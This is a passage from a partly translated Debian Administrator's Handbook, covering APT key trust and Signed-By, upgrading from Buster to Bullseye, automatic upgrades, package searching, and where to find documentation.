After the release of Debian 10 Buster the intention has been announced to remove support for the legacy files Release and Release.gpg in APT, used since version 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/ debian-archive-bullseye-automatic.gpg debian-archive-bullseye-security-automatic.gpg debian-archive-bullseye-stable.gpg debian-archive-buster-automatic.gpg debian-archive-buster-security-automatic.gpg debian-archive-buster-stable.gpg debian-archive-stretch-automatic.gpg debian-archive-stretch-security-automatic.gpg debian-archive-stretch-stable.gpg

I PRAKTIKEN Lägga till betrodda nycklar

When a third-party package source is added to the sources.list file, APT needs to be told to trust the corresponding GPG authentication key (otherwise it will keep complaining that it can't ensure the authenticity of the packages coming from that repository). The first step is of course to get the public key. More often than not, the key will be provided as a small text file, which we will call key.asc in the following examples.

To add the key to APT's trusted keyring, the administrator can just put it in a *.gpg file in /etc/apt/trusted.gpg.d/ (*.asc files are discouraged and can cause problems). This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc, which is considered obsolete already.

While this is very common behavior, it also creates a possible issue. APT does not know which key belongs to which repository. If one of the keys in APT's keyring matches the signature of an archive, APT considers the archive as authenticated. Once a key has been added to the trusted keyring, a malicious attacker could actually provide its own "version" of a Debian mirror signed by the same key. It might therefor actually be better to put the key as *.gpg file into /usr/share/keyrings/ and use the Signed-By field in sources.list for third party repositories as shown in the example below.

Imagine, that the Falcot Corp. runs their own public repository and you want to use it. They have signed it and provide a publicly available key(ring) as well to download. To restrict the key to the repository, you can simply do this:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Beware that adding and using third party repositories always poses a security and stability risk!

Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that frontends will display a warning if asked to install a package whose authenticity can't be ascertained.

Note, that binary packages are usually not signed. The integrity of a package can only be confirmed by checking its hashsums against a trusted (and possibly signed) hashsum source.

SPECIFIC CASE Unsigned repositories

While in general unsigned repositories shouldn't be used, some users might still require them, for example to provide some locally built packages. APT can be forced to accept such a repository by prepending the repository URL using allow-insecure=yes or trusted=yes. We will demonstrate it using the example from Avsnitt 15.3, ”Skapa ett paketförråd för APT”:

deb [ trusted=yes ] http://packages.falcot.com/ updates/ deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Uppgradering från en stabil distribution till nästa

One of the best-known features of Debian is its ability to upgrade an installed system from one stable release to the next: dist-upgrade — a well-known phrase — has largely contributed to the project's reputation. With a few precautions, upgrading a computer can take as little as a few minutes, or a few dozen minutes, depending on the download speed from the package repositories.

6.7.1. Rekommenderad procedur

Since Debian has quite some time to evolve in-between stable releases, you should read the release notes before upgrading.

BACK TO BASICS Release notes

The release notes for an operating system (and, more generally, for any software) are a document giving an overview of the software, with some details concerning the particularities of one version. These documents are generally short compared to the complete documentation, and they usually list the features which have been introduced since the previous version. They also give details on upgrading procedures, warnings for users of previous versions, and sometimes errata.

Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In this section, we will focus on upgrading a Buster system to Bullseye. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan, debfoster, and apt-show-versions (see Avsnitt 6.2.7, ”Spåra automatiskt installerade paket”). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:

# deborphan | xargs aptitude --schedule-only remove

TIPS Hitta ändrade filer

The debsums command can check if files on the local system, which are part of an installed package, have been altered. It uses a simple hashsum algorithm and the information in /var/lib/dpkg/info/package.md5sums (see Avsnitt 5.2.3, ”Checksums, List of Configuration Files, et al.”). To find all altered configuration files use debsums -ec. To check the whole system, use debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Bullseye instead of Buster. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the apt update command or the refresh button in synaptic (Avsnitt 6.2.1, ”Initiering”).

NOTE Repository information changes

When a new stable version of Debian is released, some fields in the Release and InRelease files of a repository change, like the Suite field. When this happens, downloading data from the repository is declined until the change is confirmed to ensure the user is prepared for it. To confirm the change use the --allow-releaseinfo-change or --allow-releaseinfo-change-field options for apt-get or the Acquire::AllowReleaseInfoChange configuration option.

Once these new package sources are registered, you should first do a minimal upgrade with apt upgrade et al. as described in Avsnitt 6.2.3, ”Systemuppgradering”. By doing the upgrade in two steps, we ease the job of the package management tools and often ensure that we have the latest versions of those, which might have accumulated bugfixes and improvements required to complete the full distribution upgrade.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic (Avsnitt 6.7, ”Uppgradering från en stabil distribution till nästa”). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date Bullseye system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. Hantera problem efter en uppgradering

In spite of the Debian maintainers' best efforts, a major system upgrade isn't always as smooth as you could wish. New software versions may be incompatible with previous ones (for instance, their default behavior or their data format may have changed). Also, some bugs may slip through the cracks despite the testing phase which always precedes a Debian release.

To anticipate some of these problems, you can install the apt-listchanges package, which displays information about possible problems at the beginning of a package upgrade. This information is compiled by the package maintainers and put in /usr/share/doc/package/NEWS.Debian files for the benefit of users. Reading these files (possibly through apt-listchanges) should help you avoid bad surprises.

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

sometimes a patch already exists, and it is available on the bug report; you can then recompile a fixed version of the broken package locally (see Avsnitt 15.1, ”Bygg om ett paket från dess källkod”);

in other cases, users may have found a workaround for the problem and shared their insights about it in their replies to the report;

in yet other cases, a fixed package may have already been prepared and made public by the maintainer.

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see Avsnitt 6.1.2.3, ”Föreslagna uppdateringar”). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Cleaning Up after an Upgrade

APT usually ensures a clean upgrade, pulling in new and updated dependencies, or removing conflicting packages. But even being such a great tool, it cannot cover all tasks users and administrators will face after an upgrade, because they require a human decision.

6.7.3.1. Paket borttagna från Debians arkiv

Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

A similar result can be achieved by aptitude search ~o. If the packages found are not required anymore, they should be purged from the system, because they will not face any updates for critical or security related bugs anymore.

6.7.3.2. Dummy and Transitional Packages

Sometimes, it might be necessary for a package to get a new name. In this case often the old package is kept as an (almost) empty package, depending on the new one and installing only the mandatory files in /usr/share/doc/package/. Such packages are called "dummy" or "transitional" packages. If the package maintainer in charge also changed the section of this package to oldlibs, then tools like aptitude, deboprhan, or debfoster (see sidebar ALTERNATIVdeborphan och debfoster) can pickup these packages to suggest their removal.

Unfortunately there is currently no foolproof way of making sure that these packages are automatically removed or picked by the tools mentioned above. One way to check if the system still has some of these packages installed, is to look through the package descriptions of installed packages and then check the results. Be careful not to schedule the results for automatic removal, because this method can lead to false positives:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Because the new package is pulled in as a dependency of the transitional package, it is usually marked as automatically installed and might be scheduled for removal if you try to purge the transitional package from your system. In this case you can use either of the approaches described in sidebar TIPS Ta bort och installera samtidigt and Avsnitt 6.2.7, ”Spåra automatiskt installerade paket” to selectively remove the transitional package.

6.7.3.3. Gamla eller oanvända konfigurationsfiler

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see Avsnitt 5.2.3, ”Checksums, List of Configuration Files, et al.”), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix, e.g. .dpkg-dist, .dpkg-old, .ucf-old. Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Filer som inte ägs av något paket

The Debian policy enforces that packages don't leave files behind when they are purged. Violating this principle is a serious bug and you will rarely encounter it. If you do, report it; and if you are curious though, you can use the cruft or cruft-ng package to check your system for files not owned by any package.

6.8. Att hålla Systemet uppdaterat

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

While it is of course possible to periodically run a tool to check for available updates and run the upgrades, such a repetitive task is tedious, especially when it needs to be performed on several machines. Fortunately, like many repetitive tasks, it can be partly automated, and a set of tools have already been developed to that effect.

The first of these tools is apticron, in the package of the same name. Its main effect is to run a script daily (via cron). The script updates the list of available packages, and, if some installed packages are not in the latest available version, it sends an email with a list of these packages along with the changes that have been made in the new versions. Obviously, this package mostly targets users of Debian Stable, since the daily emails would be very long for the faster paced versions of Debian. When updates are available, apticron automatically downloads them. It does not install them — the administrator will still do it — but having the packages already downloaded and available locally (in APT's cache) makes the job faster.

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

This option allows you to specify the frequency (in days) at which the package lists are refreshed. apticron users can do without this variable, since apticron already does this task.

APT::Periodic::Download-Upgradeable-Packages

Again, this option indicates a frequency (in days), this time for the downloading of the actual packages. Again, apticron users won't need it.

APT::Periodic::AutocleanInterval

This option covers a feature that apticron doesn't have. It controls how often obsolete packages (those not referenced by any distribution anymore) are removed from the APT cache. This keeps the APT cache at a reasonable size and means that you don't need to worry about that task.

APT::Periodic::Unattended-Upgrade

When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades. If apt-listbugs is installed, it will prevent an automatic upgrade of packages which are affected by an already reported serious or grave bug.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

Figur 6.3. Uppgradera med gpk-update-viewer

This tool is no longer installed in the default GNOME desktop. The new philosophy is that security updates should be automatically installed, either in the background or, preferably, when you shutdown your computer so as to not confuse any running application.

6.9. Automatiska Uppgraderingar

Since Falcot Corp has many computers but only limited manpower, its administrators try to make upgrades as automatic as possible. The programs in charge of these processes must therefore run with no human intervention.

6.9.1. Konfigurera dpkg

As we have already mentioned (see sidebar UTVECKLA Undvika frågorna om konfigurationsfiler), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. Konfigurera APT

The case of APT is simple: the -y option (or --assume-yes) tells APT to consider the answer to all its questions to be “yes”.

6.9.3. Konfigurera debconf

The case of debconf deserves more details. This program was, from its inception, designed to control the relevance and volume of questions displayed to the user, as well as the way they are shown. That is why its configuration requests a minimal priority for questions; only questions above the minimal priority are displayed. debconf assumes the default answer (defined by the package maintainer) for questions which it decided to skip.

The other relevant configuration element is the interface used by the frontend. If you choose noninteractive out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.

To reconfigure debconf, use the dpkg-reconfigure tool from the debconf package; the relevant command is dpkg-reconfigure debconf. Note that the configured values can be temporarily overridden with environment variables when needed (for instance, DEBIAN_FRONTEND controls the interface, as documented in the debconf(7) manual page).

6.9.4. Handling Command Line Interactions

The last source of interactions, and the hardest to get rid of, is the configuration scripts run by dpkg. There is unfortunately no standard solution, and no answer is overwhelmingly better than another.

The common approach is to suppress the standard input by redirecting the empty content of /dev/null into it with command </dev/null, or to feed it with an endless stream of newlines. None of these methods is 100 % reliable, but they generally lead to the default answers being used, since most scripts consider a lack of reply as an acceptance of the default value.

6.9.5. Mirakelkombinationen

By combining the previous elements, it is possible to design a small but rather reliable script which can handle automatic upgrades.

Exempel 6.5. Non-interactive upgrade script

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

IN PRACTICE The Falcot Corp case

Falcot computers are a heterogeneous system, with machines having various functions. Administrators will therefore pick the most relevant solution for each computer.

In practice, the servers running Bullseye are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Bullseye, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

In the lab, the few computers using Testing — to take advantage of the latest software versions — are not upgraded automatically either. Administrators only configure APT to prepare the upgrades but not enact them; when they decide to upgrade (manually), the tedious parts of refreshing package lists and downloading packages will be avoided, and administrators can focus on the really useful part.

6.10. Söka efter paket

With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find among the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.

The most trivial search possible is looking up an exact package name. If apt show package returns a result, then the package exists. Unfortunately, this requires knowing or even guessing the package name, which isn't always possible.

TIPS Konventioner för paketnamn

Some categories of packages are named according to a conventional naming scheme; knowing the scheme can sometimes allow you to guess exact package names. For instance, for Perl modules, the convention says that a module called XML::Handler::Composer upstream should be packaged as libxml-handler-composer-perl. The library enabling the use of the gconf system from Python is packaged as python-gconf. It is unfortunately not possible to define a fully general naming scheme for all packages, even though package maintainers usually try to follow the choice of the upstream developers.

A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search (see ALTERNATIVaxi-cache); for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.

For more complex searches, a more powerful tool such as aptitude is required. aptitude allows you to search according to a logical expression based on the package's meta-data fields. For instance, the following command searches for packages whose name contains kino, whose description contains video and whose maintainer's name contains paul:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1.1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,316 k Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2), libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4 (>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11 (>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1 Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386, kino:i386 Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386 Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

The search only returns one package, kino, which satisfies all three criteria.

Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed or use the debtags command:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Selecting the works-with::video and use::editing tags yields a handful of packages, including the kino and pitivi video editors. This system of classification is bound to be used more and more as time goes on, and package managers will gradually provide efficient search interfaces based on it.

To sum up, the best tool for the job depends on the complexity of the search that you wish to do:

apt-cache only allows searching in package names and descriptions, which is very convenient when looking for a particular package that matches a few target keywords;

when the search criteria also include relationships between packages or other meta-data such as the name of the maintainer, synaptic will be more useful;

when a tag-based search is needed, a good tool is packagesearch, a graphical interface dedicated to searching available packages along several criteria (including the names of the files that they contain). For usage on the command-line, axi-cache will fit the bill.

finally, when the searches involve complex expressions with logic operations, the tool of choice will be aptitude's search pattern syntax, which is quite powerful despite being somewhat obscure; it works in both the command-line and the interactive modes.

Kapitel 7. Lösa problem och hitta relevant information

For an administrator, the most important skill is to be able to cope with any situation, known or unknown. This chapter gives a number of methods that will — hopefully — allow you to isolate the cause of any problem that you will encounter, so that you may be able to resolve them.

7.1. Dokumentationskällor

Before you can understand what is really going on when there is a problem, you need to know the theoretical role played by each program involved in the problem. To do this, the best reflex to have is consult their documentation; but since these documentations are many and can be scattered far and wide, you should know all the places where they can be found.

7.1.1. Manualsidor

KULTURRTFM

This acronym stands for “Read the F***ing Manual”, but can also be expanded in a friendlier variant, “Read the Fine Manual”. This phrase is sometimes used in (terse) responses to questions from newbies. It is rather abrupt, and betrays a certain annoyance at a question asked by someone who has not even bothered to read the documentation. Some say that this classic response is better than no response at all (since it indicates that the documentation contains the information sought), or than a more verbose and angry answer.

In any case, if someone responds “RTFM” to you, it is often wise not to take offense. Since this answer may be perceived as vexing, you might want to try and avoid receiving it. If the information that you need is not in the manual, which can happen, you might want to say so, preferably in your initial question. You should also describe the various steps that you have personally taken to find information before you raised a question on a forum. Following Eric Raymond's guidelines is a good way to avoid the most common mistakes and get useful answers.

→ http://catb.org/~esr/faqs/smart-questions.html

Manual pages, while relatively terse in style, contain a great deal of essential information. We will quickly go over the command for viewing them, provided by the man-db package. Simply type man manual-page — the manual page usually goes by the same name as the command whose documentation is sought. For example, to learn about the possible options for the cp command, you would type the man cp command at the shell prompt (see sidebar TILLBAKA TILL GRUNDERNA Skalet, en kommandoradstolk).

TILLBAKA TILL GRUNDERNA Skalet, en kommandoradstolk

A command line interpreter, also called a “shell”, is a program that executes commands that are either entered by the user or stored in a script. In interactive mode, it displays a prompt (usually ending in $ for a normal user, or by # for an administrator) indicating that it is ready to read a new command. Appendix B, Kort snabbkurs describes the basics of using the shell.

The default and most commonly used shell is bash (Bourne Again SHell), but there are others, including dash, csh, tcsh and zsh.

Among other things, most shells offer help (type help) and assistance during input at the prompt, such as the completion of command or file names (which you can generally activate by pressing the tab key), or recalling previous commands (history management; i.e. check out the mappings for "page up" and "page down" in /etc/inputrc).

Man pages not only document commands and programs accessible from the command line, but also configuration files, system calls, library functions, and so forth. Sometimes names can collide. For example, the shell's read command has the same name as the read system call. This is why manual pages are organized in numbered sections:

1

kommandon som kan köras från kommandoraden;

2

systemanrop (funktioner från kärnan);

3

biblioteksfunktioner (tillhandahålls av systembibliotek);

4

enheter (på Unix-liknande system är dessa specialfiler, vanligtvis placerade i /dev/ katalogen);

5

konfigurationsfiler (format och konventioner);

6

spel;

7

uppsättningar av makron och standarder;

8

systemadministrationskommandon;

9

kärnrutiner.

It is possible to specify the section of the manual page that you are looking for: to view the documentation for the read system call, you would type man 2 read. When no section is explicitly specified, the first section that has a manual page with the requested name will be shown. Thus, man shadow returns shadow(5) because there are no manual pages for shadow in sections 1 to 4.

TIPSwhatis

If you do not want to look at the full manual page, but only a short description to confirm that it is what you are looking for, simply enter whatis command.

$ whatis scp scp (1) - OpenSSH secure file copy

This short description is included in the NAME section at the beginning of all manual pages.

Of course, if you do not know the names of the commands, the manual is not going to be of much use to you. This is the purpose of the apropos command, which helps you conduct a search in the manual pages, or more specifically in their short descriptions. Each manual page begins essentially with a one line summary. apropos returns a list of manual pages whose summary mentions the requested keyword(s). If you choose them well, you will find the name of the command that you need.

Exempel 7.1. Hitta cp med apropos

$ apropos "copy file" cp (1) - copy files and directories cp (1posix) - copy files cpio (1) - copy files to and from archives exec (1posix) - execute commands and open, close, or copy file descriptors install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

TIP Browsing by following links

Many manual pages have a “SEE ALSO” section, usually at the end. It refers to other manual pages relevant to similar commands, or to external documentation. In this way, it is possible to find relevant documentation even when the first choice is not optimal.

The man command is not the only means of consulting the manual pages, since khelpcenter and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL after following the instructions in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

This utility requires a web server. This is why you should choose to install this package on one of your servers: all users of the local network could benefit from this service (including non-Linux machines), and this will allow you not to set up an HTTP server on each workstation. If your server is also accessible from other networks, it may be desirable to restrict access to this service only to users of the local network.

Last but not least, you can view all manual pages available in Debian (even those that are not installed on your machine) on the manpages.debian.org service. It offers each manual page in multiple versions, one for each Debian release.

→ https://manpages.debian.org

DEBIAN RIKTLINJERObligatoriska man-sidor

Debian requires each program to have a manual page. If the upstream author does not provide one, the Debian package maintainer will usually write a minimal page that will at the very least direct the reader to the location of the original documentation.

7.1.2. info Dokument

The GNU project has written manuals for most of its programs in the info format; this is why many manual pages refer to the corresponding info documentation. This format offers some advantages, but the default program to view these documents (it is called info) is also slightly more complex. You would be well advised to use pinfo instead (from the pinfo package).

The info documentation has a hierarchical structure, and if you invoke pinfo without parameters, it will display a list of the nodes available at the first level. Usually, nodes bear the name of the corresponding commands.

With pinfo navigating between these nodes is easy to achieve with the arrow keys. Alternatively, you could also use a graphical browser, which is a lot more user-friendly. Again, konqueror and yelp work; the info2www package also provides a web interface.

→ http://localhost/cgi-bin/info2www

Note that the info system is not suitable for translation, unlike the man page system. info documents are thus almost always in English. However, when you ask the pinfo program to display a non-existing info page, it will fall back on the man page by the same name (if it exists), which might be translated.

7.1.3. Specifik dokumentation

Each package includes its own documentation. Even the least well documented programs generally have a README file containing some interesting and/or important information. This documentation is installed in the /usr/share/doc/package/ directory (where package represents the name of the package). If the documentation is particularly large, it may not be included in the program's main package, but might be offloaded to a dedicated package which is usually named package-doc. The main package generally recommends the documentation package so that you can easily find it.

The /usr/share/doc/package/ directory also contains some files provided by Debian which complete the documentation by specifying the package's particularities or improvements compared to a traditional installation of the software. The README.Debian file also indicates all of the adaptations that were made to comply with the Debian Policy. The changelog.Debian.gz file allows the user to follow the modifications made to the package over time: it is very useful to try to understand what has changed between two installed versions that do not have the same behavior. Finally, there is sometimes a NEWS.Debian.gz file which documents the major changes in the program that may directly concern the administrator (see Avsnitt 6.7.2, ”Hantera problem efter en uppgradering”).

7.1.4. Webbsidor

In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian to limit results and target relevant information.

TIPS Från fel till lösning

If the software returns a very specific error message, enter it into the search engine (between double quotes, ", in order to search not for individual keywords, but for the complete phrase). In most cases, the first links returned will contain the answer that you need.

In other cases, you will get very general errors, such as “Permission denied”. In this case, it is best to check the permissions of the elements involved (files, user ID, groups, etc.).

If you do not know the address for the software's website, there are various means of getting it. First, check if there is a Homepage field in the package's meta-information (apt show package). Alternately, the package description may contain a link to the program's official website. If no URL is indicated, look at /usr/share/doc/package/copyright. The Debian maintainer generally indicates in this file where they got the program's source code, and this is likely to be the website that you need to find. If at this stage your search is still unfruitful, consult a free software directory, such as FSF's Free Software Directory, or search directly with a search engine, such as Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

You might also want to check the Debian wiki, a collaborative website where anybody, even new visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. Tutorials (HOWTO)

A HOWTO is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian also provides tutorials for its users:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating personal websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. Common Procedures

The purpose of this section is to present some general tips on certain operations that an administrator will frequently have to perform. These procedures will of course not cover every possible case in an exhaustive way, but they may serve as starting points for the more difficult cases.

UPPTÄCK Dokumentation på andra språk

Often, documentation translated into a non-English language is available in a separate package with the name of the corresponding package, followed by -lang (where lang is the two-letter ISO code for the language).

For instance, the debian-reference-fr package is the French version of the reference guides for Debian (initially written in English by Osamu Aoki), and the manpages-de package contains the German version of the manual pages about using GNU/Linux.

7.2.1. Konfigurera ett program

When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/package/README.Debian will allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems.

Then, you should look at the software's official documentation — refer to Avsnitt 7.1, ”Dokumentationskällor” to identify the various existing documentation sources. The dpkg -L package command gives a list of files included in the package; you can therefore quickly identify the available documentation (as well as the configuration files, located in /etc/). dpkg -s package displays the package meta-data and shows any possible recommended or suggested packages; in there, you can find documentation or a utility that will ease the configuration of the software.

Finally, the configuration files are often self-documented by many explanatory comments detailing the various possible values for each configuration setting. So much so that it is sometimes enough to just choose a line to activate from among those available. In some cases, examples of configuration files are provided in the /usr/share/doc/package/examples/ directory. They may serve as a basis for your own configuration file.

DEBIAN RIKTLINJER Plats för exempel

All examples must be installed in the /usr/share/doc/package/examples/ directory. This may be a configuration file, program source code (an example of the use of a library), or a data conversion script that the administrator can use in certain cases (such as to initialize a database). If the example is specific to a particular architecture, it should be installed in /usr/lib/package/examples/ and there should be a link pointing to that file in the /usr/share/doc/package/examples/ directory.

7.2.2. Monitoring What Daemons Are Doing

Understanding what a daemon does is somewhat more complicated, since it does not interact directly with the administrator. To check that a daemon is actually working, you need to test it. For example, to check the Apache (web server) daemon, test it with an HTTP request.

BACK TO BASICS Daemon

A daemon is a program that is not explicitly invoked by the user and that stays in the background, waiting for a certain condition to be met before performing a task. Many server programs are daemons, a term that explains that the letter “d” is frequently present at the end of their name (sshd, smtpd, httpd, etc.).

